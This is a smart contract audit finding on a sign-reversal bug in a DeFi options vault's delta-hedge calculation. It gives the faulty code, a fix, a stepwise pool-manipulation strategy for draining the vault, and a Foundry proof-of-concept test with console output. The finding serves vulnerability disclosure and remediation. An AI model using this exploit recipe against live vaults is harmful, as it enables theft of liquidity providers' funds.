The sign of delta hedge amount can be reversed by malicious user due to incorrect condition in `FinanceIGDelta.deltaHedgeAmount`
When delta hedge amount is calculated after the trade, the final check is to account for sqrt computation error and ensure the exchanged amount of side token doesn't exceed amount of side tokens the vault has. The issue is that this check is incorrect: it compares absolute value of the delta hedge amount, but always sets positive amount of side tokens if the condition is true. If the delta hedge amount is negative, this final check will reverse the sign of the delta hedge amount, messing up the hedged assets the protocol has.\\nAs a result, if the price moves significantly before the next delta hedge, protocol might not have enough funds to pay off users due to incorrect hedging. It also allows the user to manipulate underlying uniswap pool, then force the vault to delta hedge large amount at very bad price while trading tiny position of size 1 wei, without paying any fees. Repeating this process, the malicious user can drain/steal all funds from the vault in a very short time.\\nThe final check in calculating delta hedge amount in `FinanceIGDelta.deltaHedgeAmount` is:\\n```\\n    // due to sqrt computation error, sideTokens to sell may be very few more than available\\n    if (SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {\\n        if (SignedMath.abs(tokensToSwap) - params.sideTokensAmount < params.sideTokensAmount / 10000) {\\n            tokensToSwap = SignedMath.revabs(params.sideTokensAmount, true);\\n        }\\n    }\\n```\\n\\nThe logic is that if due to small computation errors, delta hedge amount (to sell side token) can slightly exceed amount of side tokens the vault has, when in reality it means to just sell all side tokens the vault has, then delta hedge amount should equal to side tokens amount vault has.\\nThe issue here is that only positive delta hedge amount means vault has to sell side tokens, while negative amount means it has to buy side tokens. But the condition compares `abs(tokensToSwap)`, meaning that if the delta hedge amount is negative, but in absolute value very close to side tokens amount the vault has, then the condition will also be true, which will set `tokensToSwap` to a positive amount of side tokens, i.e. will reverse the delta hedge amount from `-sideTokens` to `+sideTokens`.\\nIt's very easy for malicious user to craft such situation. For example, if current price is significantly greater than strike price, and there are no other open trades, simply buy IG bull options for 50% of the vault amount. Then buy IG bull options for another 50%. The first trade will force the vault to buy ETH for delta hedge, while the second trade will force the vault to sell the same ETH amount instead of buying it. If there are open trades, it's also easy to calculate the correct proportions of the trades to make `delta hedge amount = -side tokens`.\\nOnce the vault incorrectly hedges after malicious user's trade, there are multiple bad scenarios which will harm the protocol. For example:\\nIf no trade happens for some time and the price increases, the protocol will have no side tokens to hedge, but the bull option buyers will still receive their payoff, leaving vault LPs in a loss, up to a situation when the vault will not have enough funds to even pay the option buyers payoff.\\nMalicious user can abuse the vault's incorrect hedge to directly profit from it. After the trade described above, any trade, even 1 wei trade, will make vault re-hedge with the correct hedge amount, which can be a significant amount. Malicious user can abuse it by manipulating the underlying uniswap pool: 2.1. Buy underlying uniswap pool up to the edge of allowed range (say, +1.8% of current price, average price of ETH bought = +0.9% of current price) 2.2. Provide uniswap liquidity in that narrow range (+1.8%..+2.4%) 2.3. Open/close any position in IG with amount = 1 wei (basically paying no fees) -> this forces the vault to delta hedge (buy) large amount of ETH at inflated price ~+2% of the current price. 2.5. Remove uniswap liquidity. 2.6. Sell back in the uniswap pool. 2.7. During the delta hedge, uniswap position will buy ETH (uniswap liquidity will sell ETH) at the average price of +2.1% of the current price, also receiving pool fees. The fees for manipulating the pool and "closing" position via providing liquidity will cancel out and overall profit will be: +2.1% - 0.9% = +1.2% of the delta hedge amount.\\nThe strategy can be enchanced to optimize the profitability, but the idea should be clear.
The check should be done only when `tokensToSwap` is positive:\\n```\\n        // due to sqrt computation error, sideTokens to sell may be very few more than available\\n-       if (SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {\\n+       if (tokensToSwap > 0 && SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {\\n            if (SignedMath.abs(tokensToSwap) - params.sideTokensAmount < params.sideTokensAmount / 10000) {\\n                tokensToSwap = SignedMath.revabs(params.sideTokensAmount, true);\\n            }\\n        }\\n```\\n
Malicious user can steal all vault funds, and/or the vault LPs will incur losses higher than uniswap LPs or vault will be unable to payoff the traders due to incorrect hedged amount.\\nProof Of Concept\\nCopy to attack.t.sol:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.15;\\n\\nimport {Test} from "forge-std/Test.sol";\\nimport {console} from "forge-std/console.sol";\\nimport {UD60x18, ud, convert} from "@prb/math/UD60x18.sol";\\n\\nimport {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\nimport {IPositionManager} from "@project/interfaces/IPositionManager.sol";\\nimport {Epoch} from "@project/lib/EpochController.sol";\\nimport {AmountsMath} from "@project/lib/AmountsMath.sol";\\nimport {EpochFrequency} from "@project/lib/EpochFrequency.sol";\\nimport {OptionStrategy} from "@project/lib/OptionStrategy.sol";\\nimport {AddressProvider} from "@project/AddressProvider.sol";\\nimport {MarketOracle} from "@project/MarketOracle.sol";\\nimport {FeeManager} from "@project/FeeManager.sol";\\nimport {Vault} from "@project/Vault.sol";\\nimport {TestnetToken} from "@project/testnet/TestnetToken.sol";\\nimport {TestnetPriceOracle} from "@project/testnet/TestnetPriceOracle.sol";\\nimport {DVPUtils} from "./utils/DVPUtils.sol";\\nimport {TokenUtils} from "./utils/TokenUtils.sol";\\nimport {Utils} from "./utils/Utils.sol";\\nimport {VaultUtils} from "./utils/VaultUtils.sol";\\nimport {MockedIG} from "./mock/MockedIG.sol";\\nimport {MockedRegistry} from "./mock/MockedRegistry.sol";\\nimport {MockedVault} from "./mock/MockedVault.sol";\\nimport {TestnetSwapAdapter} from "@project/testnet/TestnetSwapAdapter.sol";\\nimport {PositionManager} from "@project/periphery/PositionManager.sol";\\n\\n\\ncontract IGVaultTest is Test {\\n    using AmountsMath for uint256;\\n\\n    address admin = address(0x1);\\n\\n    // User of Vault\\n    address alice = address(0x2);\\n    address bob = address(0x3);\\n\\n    //User of DVP\\n    address charlie = address(0x4);\\n    address david = address(0x5);\\n\\n    AddressProvider ap;\\n    TestnetToken baseToken;\\n    TestnetToken sideToken;\\n    FeeManager feeManager;\\n\\n    MockedRegistry registry;\\n\\n    MockedVault vault;\\n    MockedIG ig;\\n    TestnetPriceOracle priceOracle;\\n    TestnetSwapAdapter exchange;\\n    uint _strike;\\n\\n    function setUp() public {\\n        vm.warp(EpochFrequency.REF_TS);\\n        //ToDo: Replace with Factory\\n        vm.startPrank(admin);\\n        ap = new AddressProvider(0);\\n        registry = new MockedRegistry();\\n        ap.grantRole(ap.ROLE_ADMIN(), admin);\\n        registry.grantRole(registry.ROLE_ADMIN(), admin);\\n        ap.setRegistry(address(registry));\\n\\n        vm.stopPrank();\\n\\n        vault = MockedVault(VaultUtils.createVault(EpochFrequency.DAILY, ap, admin, vm));\\n        priceOracle = TestnetPriceOracle(ap.priceOracle());\\n\\n        baseToken = TestnetToken(vault.baseToken());\\n        sideToken = TestnetToken(vault.sideToken());\\n\\n        vm.startPrank(admin);\\n       \\n        ig = new MockedIG(address(vault), address(ap));\\n        ig.grantRole(ig.ROLE_ADMIN(), admin);\\n        ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);\\n        vault.grantRole(vault.ROLE_ADMIN(), admin);\\n        vm.stopPrank();\\n        ig.setOptionPrice(1e3);\\n        ig.setPayoffPerc(0.1e18); // 10 % -> position paying 1.1\\n        ig.useRealDeltaHedge();\\n        ig.useRealPercentage();\\n        ig.useRealPremium();\\n\\n        DVPUtils.disableOracleDelayForIG(ap, ig, admin, vm);\\n\\n        vm.prank(admin);\\n        registry.registerDVP(address(ig));\\n        vm.prank(admin);\\n        MockedVault(vault).setAllowedDVP(address(ig));\\n        feeManager = FeeManager(ap.feeManager());\\n\\n        exchange = TestnetSwapAdapter(ap.exchangeAdapter());\\n    }\\n\\n    function testIncorrectDeltaHedge() public {\\n        _strike = 1e18;\\n        VaultUtils.addVaultDeposit(alice, 1e18, admin, address(vault), vm);\\n        VaultUtils.addVaultDeposit(bob, 1e18, admin, address(vault), vm);\\n\\n        Utils.skipDay(true, vm);\\n\\n        vm.prank(admin);\\n        ig.rollEpoch();\\n\\n        VaultUtils.logState(vault);\\n        DVPUtils.debugState(ig);\\n\\n        testBuyOption(1.09e18, 0.5e18, 0);\\n        testBuyOption(1.09e18, 0.5e18, 0);\\n    }\\n\\n    function testBuyOption(uint price, uint128 optionAmountUp, uint128 optionAmountDown) internal {\\n\\n        vm.prank(admin);\\n        priceOracle.setTokenPrice(address(sideToken), price);\\n\\n        (uint256 premium, uint256 fee) = _assurePremium(charlie, _strike, optionAmountUp, optionAmountDown);\\n\\n        vm.startPrank(charlie);\\n        premium = ig.mint(charlie, _strike, optionAmountUp, optionAmountDown, premium, 1e18, 0);\\n        vm.stopPrank();\\n\\n        console.log("premium", premium);\\n        VaultUtils.logState(vault);\\n    }\\n\\n    function testSellOption(uint price, uint128 optionAmountUp, uint128 optionAmountDown) internal {\\n        vm.prank(admin);\\n        priceOracle.setTokenPrice(address(sideToken), price);\\n\\n        uint256 charliePayoff;\\n        uint256 charliePayoffFee;\\n        {\\n            vm.startPrank(charlie);\\n            (charliePayoff, charliePayoffFee) = ig.payoff(\\n                ig.currentEpoch(),\\n                _strike,\\n                optionAmountUp,\\n                optionAmountDown\\n            );\\n\\n            charliePayoff = ig.burn(\\n                ig.currentEpoch(),\\n                charlie,\\n                _strike,\\n                optionAmountUp,\\n                optionAmountDown,\\n                charliePayoff,\\n                0.1e18\\n            );\\n            vm.stopPrank();\\n\\n            console.log("payoff received", charliePayoff);\\n        }\\n\\n        VaultUtils.logState(vault);\\n    }\\n\\n    function _assurePremium(\\n        address user,\\n        uint256 strike,\\n        uint256 amountUp,\\n        uint256 amountDown\\n    ) private returns (uint256 premium_, uint256 fee) {\\n        (premium_, fee) = ig.premium(strike, amountUp, amountDown);\\n        TokenUtils.provideApprovedTokens(admin, address(baseToken), user, address(ig), premium_*2, vm);\\n    }\\n}\\n```\\n\\nExecution console:\\n```\\n  baseToken balance 1000000000000000000\\n  sideToken balance 1000000000000000000\\n// rest of code\\n  premium 0\\n  baseToken balance 2090000000000000000\\n  sideToken balance 0\\n// rest of code\\n  premium 25585649987654406\\n  baseToken balance 1570585649987654474\\n  sideToken balance 499999999999999938\\n// rest of code\\n  premium 25752512349788475\\n  baseToken balance 2141338162337442881\\n  sideToken balance 0\\n// rest of code\\n  premium 0\\n  baseToken balance 1051338162337442949\\n  sideToken balance 999999999999999938\\n// rest of code\\n```\\n\\nNotice:\\nFirst trade (amount = 1 wei) settles delta-hedge at current price (1.09): sideToken = 0 because price is just above kB\\n2nd trade (buy ig bull amount = 0.5) causes delta-hedge of buying 0.5 side token\\n3rd trade (buy ig bull amount = 0.5) causes delta-hedge of selling 0.5 side token (instead of buying 0.5)\\nLast trade (amount = 1 wei) causes vault to buy 1 side token for correct delta-hedge (but at 0 fee to user).
```\\n    // due to sqrt computation error, sideTokens to sell may be very few more than available\\n    if (SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {\\n        if (SignedMath.abs(tokensToSwap) - params.sideTokensAmount < params.sideTokensAmount / 10000) {\\n            tokensToSwap = SignedMath.revabs(params.sideTokensAmount, true);\\n        }\\n    }\\n```\\n